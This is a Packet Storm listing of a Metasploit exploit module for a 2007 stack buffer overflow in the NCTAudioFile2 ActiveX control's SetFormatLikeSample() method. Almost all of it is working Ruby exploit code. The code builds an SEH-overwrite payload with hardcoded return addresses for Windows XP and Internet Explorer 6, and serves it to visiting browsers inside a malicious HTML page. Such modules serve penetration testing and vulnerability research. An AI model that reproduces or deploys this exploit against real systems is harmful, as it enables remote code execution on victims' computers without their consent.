NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow

2009-12-3100:00:00
packetstormsecurity.com
0.956 High
EPSS
Percentile
99.2%
JSON
`##  
# $Id: nctaudiofile2_setformatlikesample.rb 7867 2009-12-15 00:32:07Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX  
Control provided by various audio applications. By sending a overly long  
string to the "SetFormatLikeSample()" method, an attacker may be able to   
execute arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC', 'dookie', 'jduck' ],  
'Version' => '$Revision: 7867 $',  
'References' =>   
[  
[ 'CVE', '2007-0018' ],  
[ 'OSVDB', '32032' ],  
[ 'BID', '22196' ],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],  
[ 'URL', 'http://www.kb.cert.org/vuls/id/292713' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# tested with:  
#  
# BearShare 6.0.2.26789 (NCTAudioFile2.dll v2.5.7.514)  
# BearShare 6.0.0.22717 (NCTAudioFile2.dll v2.5.7.514)  
# Magic Audio Editor Pro v10.3.11 (NCTAudioFile2.dll v2.6.1.643)  
# Magic Audio Editor Pro v10.3.15.1 (NCTAudioFile2.dll v2.6.1.643)  
#  
[ 'Windows XP SP2/SP3 Pro English (IE6)',  
{  
'PopPopRet' => 0x746C15A9, # p/p/r in msls31.dll (ie6)  
'jmp esp' => 0x774699bf, # user32.dll (xp sp2 and sp3)  
}  
],   
],  
'DisclosureDate' => 'Jan 24 2007',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# dual targeting super fun..  
sploit = p.encoded  
sploit << rand_text_alpha(4100 - p.encoded.length)  
  
# if seh is triggered, we'll use a pop/pop/ret  
seh = generate_seh_record(target['PopPopRet'])  
sploit << seh  
  
# padding  
sploit << make_nops(16 - seh.length)  
  
# otherwise, we need to jump to the stack  
sploit << [target['jmp esp']].pack('V')  
sploit << make_nops(32)  
  
# jump back to the payload :)  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x1000").encode_string  
  
# try to ensure SEH is triggered..  
sploit << rand_text_alpha(1000) * 18  
  
# Build out the message  
content = %Q|  
<html>  
<body>  
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>  
<script language='javascript'>  
  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.SetFormatLikeSample(#{strname});   
  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.956 High
EPSS
Percentile
99.2%
JSON
Related for PACKETSTORM:84571